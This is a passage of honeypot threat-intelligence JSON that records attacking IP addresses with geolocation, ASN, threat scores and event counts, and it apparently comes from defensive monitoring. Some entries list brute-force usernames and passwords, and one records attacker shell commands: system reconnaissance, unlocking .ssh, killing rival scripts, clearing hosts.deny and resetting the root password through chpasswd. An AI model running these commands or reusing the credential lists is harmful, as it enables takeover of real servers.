      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T01:23:15.625000+00:00",
        "last_seen_30d": "2026-05-20T01:24:29.128000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.187.205.203": {
      "attack_count": 2,
      "first_seen": "2026-05-07T05:39:58.943Z",
      "last_seen": "2026-05-07T05:40:12.626Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Mineral de la Reforma",
      "asn": 28534,
      "as_org": "Mexico Red de Telecomunicaciones, S. de R.L. de C.V.",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T05:39:58.943000+00:00",
        "last_seen_30d": "2026-05-07T05:43:05.886000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "188.113.209.93": {
      "attack_count": 2,
      "first_seen": "2026-05-11T09:14:20.770Z",
      "last_seen": "2026-05-11T09:16:20.775Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 49273,
      "as_org": "COSCOM Liability Limited Company",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T09:14:20.770000+00:00",
        "last_seen_30d": "2026-05-11T09:26:23.823000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.225.181.165": {
      "attack_count": 2,
      "first_seen": "2026-05-04T18:19:05.742Z",
      "last_seen": "2026-05-04T18:19:19.276Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Cuernavaca",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T18:19:05.742000+00:00",
        "last_seen_30d": "2026-05-04T18:20:24.773000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "195.184.76.129": {
      "attack_count": 2,
      "first_seen": "2026-05-27T08:33:38.799Z",
      "last_seen": "2026-05-27T08:33:38.800Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 77.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 95,
        "days_active_30d": 28,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T06:07:13+00:00",
        "last_seen_30d": "2026-05-29T21:26:08.595000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 35,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "196.217.62.243": {
      "attack_count": 2,
      "first_seen": "2026-05-25T07:37:45.883Z",
      "last_seen": "2026-05-25T07:39:45.884Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Meknes",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T07:37:45.883000+00:00",
        "last_seen_30d": "2026-05-25T07:50:29.564000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "205.254.174.156": {
      "attack_count": 2,
      "first_seen": "2026-05-06T04:33:23.231Z",
      "last_seen": "2026-05-06T04:33:36.125Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Faridabad",
      "asn": 133982,
      "as_org": "Excitel Broadband Private Limited",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T04:33:23.231000+00:00",
        "last_seen_30d": "2026-05-06T04:34:45.721000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "213.230.92.53": {
      "attack_count": 2,
      "first_seen": "2026-05-16T08:24:23.710Z",
      "last_seen": "2026-05-16T08:24:36.118Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T08:24:23.710000+00:00",
        "last_seen_30d": "2026-05-16T08:25:36.757000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.120.2.207": {
      "attack_count": 2,
      "first_seen": "2026-05-09T05:57:54.231Z",
      "last_seen": "2026-05-09T05:58:07.252Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 17421,
      "as_org": "Mobile Business Group",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T05:57:54.231000+00:00",
        "last_seen_30d": "2026-05-09T05:59:13.192000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.151.248.166": {
      "attack_count": 2,
      "first_seen": "2026-05-22T22:06:34.536Z",
      "last_seen": "2026-05-22T22:07:05.979Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:06:34.536000+00:00",
        "last_seen_30d": "2026-05-22T22:08:13.536000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.184.235.135": {
      "attack_count": 2,
      "first_seen": "2026-05-06T19:14:15.862Z",
      "last_seen": "2026-05-06T19:14:28.093Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Yamuna Nagar",
      "asn": 45609,
      "as_org": "Bharti Airtel Ltd. AS for GPRS Service",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T19:14:15.862000+00:00",
        "last_seen_30d": "2026-05-06T19:15:30.765000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.158.80.225": {
      "attack_count": 2,
      "first_seen": "2026-05-05T15:31:26.527Z",
      "last_seen": "2026-05-05T15:31:39.619Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": null,
      "asn": 64134,
      "as_org": "VISNETWORK SRL",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T15:31:26.527000+00:00",
        "last_seen_30d": "2026-05-05T15:32:47.446000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "39.126.138.29": {
      "attack_count": 2,
      "first_seen": "2026-05-08T21:13:47.804Z",
      "last_seen": "2026-05-08T21:14:01.570Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Busan",
      "asn": 23584,
      "as_org": "PUSAN CABLE TV SYSTEM CO., LTD.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T21:13:47.804000+00:00",
        "last_seen_30d": "2026-05-08T21:15:09.871000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.156.129.63": {
      "attack_count": 2,
      "first_seen": "2026-05-20T07:08:42.011Z",
      "last_seen": "2026-05-20T07:08:46.749Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.1,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 22,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-09T19:11:12.318000+00:00",
        "last_seen_30d": "2026-05-30T00:26:10.726000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Honeytrap": 17,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "59.45.231.228": {
      "attack_count": 2,
      "first_seen": "2026-05-15T13:00:31.740Z",
      "last_seen": "2026-05-15T13:00:54.103Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T13:00:31.740000+00:00",
        "last_seen_30d": "2026-05-15T13:01:58.424000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "77.52.212.189": {
      "attack_count": 2,
      "first_seen": "2026-05-12T07:11:54.214Z",
      "last_seen": "2026-05-12T07:13:54.219Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kazanka",
      "asn": 21497,
      "as_org": "PrJSC VF UKRAINE",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T07:11:54.214000+00:00",
        "last_seen_30d": "2026-05-12T07:14:57.368000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "80.13.50.153": {
      "attack_count": 2,
      "first_seen": "2026-05-06T11:31:12.640Z",
      "last_seen": "2026-05-06T11:31:25.631Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T11:31:12.640000+00:00",
        "last_seen_30d": "2026-05-06T11:32:27.758000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "89.83.69.66": {
      "attack_count": 2,
      "first_seen": "2026-05-12T15:44:25.027Z",
      "last_seen": "2026-05-12T15:44:38.138Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Toulon",
      "asn": 5410,
      "as_org": "Bouygues Telecom SA",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T15:44:25.027000+00:00",
        "last_seen_30d": "2026-05-12T15:45:39.773000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.196.152.110": {
      "attack_count": 2,
      "first_seen": "2026-05-23T13:50:14.880Z",
      "last_seen": "2026-05-23T13:50:25.291Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 71.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.8,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 27,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T03:56:29+00:00",
        "last_seen_30d": "2026-05-29T09:34:06.404000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 46,
        "Honeytrap": 27,
        "Cowrie": 2
      }
    },
    "94.158.62.61": {
      "attack_count": 2,
      "first_seen": "2026-05-05T17:13:58.749Z",
      "last_seen": "2026-05-05T17:14:12.516Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 43060,
      "as_org": "IPLUS LLC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T17:13:58.749000+00:00",
        "last_seen_30d": "2026-05-05T17:15:59.308000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "51.81.83.108": {
      "attack_count": 1940,
      "first_seen": "2026-05-18T04:59:19.175Z",
      "last_seen": "2026-05-19T03:02:07.400Z",
      "sessions": 970,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3198,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T04:59:19.175000+00:00",
        "last_seen_30d": "2026-05-19T03:03:11.151000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1940,
        "Suricata": 1258
      }
    },
    "172.105.190.254": {
      "attack_count": 1697,
      "first_seen": "2026-05-18T16:17:43.019Z",
      "last_seen": "2026-05-19T16:34:30.875Z",
      "sessions": 340,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "oracle",
        "test",
        "site",
        "user",
        "web1",
        "904ab",
        "a",
        "admin",
        "alec",
        "backups",
        "centos",
        "changem",
        "chaoyangwu",
        "cs",
        "debian",
        "deploy",
        "ehsandoost",
        "exploit"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "123",
        "12345",
        "1234567890",
        "1qaz2wsx",
        "P@ssword",
        "Test1234",
        "hadoop",
        "ubuntu123",
        "!@#123!@#",
        "!@#QWE123qwe",
        "**********",
        "000",
        "01",
        "11",
        "111111",
        "1111111111",
        "1122",
        "112233"
      ],
      "commands_executed": [
        "echo OK"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 2529,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T16:17:43.019000+00:00",
        "last_seen_30d": "2026-05-19T16:35:35.192000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1697,
        "Suricata": 832
      }
    },
    "20.243.208.191": {
      "attack_count": 1155,
      "first_seen": "2026-05-06T10:18:26.903Z",
      "last_seen": "2026-05-24T15:56:54.694Z",
      "sessions": 126,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "postgres",
        "linux",
        "systemd-sync",
        "test",
        "...",
        "admins",
        "azureuser",
        "dbus-helper",
        "dockeruser",
        "es",
        "git",
        "github",
        "gmodserver",
        "guest",
        "ispadmin",
        "jenkins"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "warnight",
        "123456",
        "linux123",
        "!@#qwe123",
        "!^)$!(*&",
        "10101010",
        "123",
        "1234",
        "1234.abcd",
        "12344321",
        "12345678",
        "123456789",
        "12345qwert",
        "1234@abc",
        "1QAZxsw2",
        "1q2w3e4r",
        "1q2w3e4r5T"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1qw23er4\\n3ypYdvaM7SkY\\n3ypYdvaM7SkY\\n\"|passwd",
        "echo \"linux123\\n8iVNq6vqHS9O\\n8iVNq6vqHS9O\\n\"|passwd",
        "echo \"root:2TsVH9LlbKcj\"|chpasswd|bash",
        "echo \"root:EVPy22FFNCW8\"|chpasswd|bash",
        "echo \"root:HzWjNw25ALr6\"|chpasswd|bash",
        "echo \"root:PNmf0Vrrrv1s\"|chpasswd|bash",
        "echo \"root:X36RlEzxkIKZ\"|chpasswd|bash",
        "echo \"root:eQp188XSGcBf\"|chpasswd|bash",
        "echo \"warnight\\nMUnTx739wYc2\\nMUnTx739wYc2\\n\"|passwd",
        "echo -e \"1qw23er4\\n3ypYdvaM7SkY\\n3ypYdvaM7SkY\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 44.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 1444,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T10:18:26.903000+00:00",
        "last_seen_30d": "2026-05-24T15:57:57.531000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1155,
        "Suricata": 289
      }
    },
    "14.63.166.251": {
      "attack_count": 462,
      "first_seen": "2026-05-15T01:18:42.831Z",
      "last_seen": "2026-05-31T22:07:20.577Z",
      "sessions": 154,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 55.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.7,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 924,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T01:18:42.831000+00:00",
        "last_seen_30d": "2026-05-31T22:08:29.696000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 462,
        "Suricata": 462
      }
    },
    "27.79.44.21": {
      "attack_count": 411,
      "first_seen": "2026-05-12T15:58:41.008Z",
      "last_seen": "2026-05-12T16:36:25.038Z",
      "sessions": 81,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "support",
        "test",
        "ubnt",
        "user",
        "1234",
        "123456",
        "bin",
        "btf",
        "cf1c22",
        "cisco",
        "client",
        "config",
        "cpanel",
        "db2inst2",
        "demo",
        "developer",
        "ftp",
        "ftpuser"
      ],
      "passwords_attempted": [
        "password",
        "1234",
        "123456",
        "abc123",
        "admin",
        "039715582364317",
        "1",
        "1111",
        "112233",
        "12345",
        "12345678",
        "123456789",
        "321start",
        "72b1bd75ac87852a",
        "@",
        "Deadstar!",
        "abcdefg",
        "admin1",
        "asteriskftp",
        "bananapi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 589,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T15:58:41.008000+00:00",
        "last_seen_30d": "2026-05-12T16:37:31.086000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 411,
        "Suricata": 178
      }
    },
    "38.60.91.176": {
      "attack_count": 398,
      "first_seen": "2026-05-22T15:54:28.234Z",
      "last_seen": "2026-05-23T04:22:29.516Z",
      "sessions": 33,
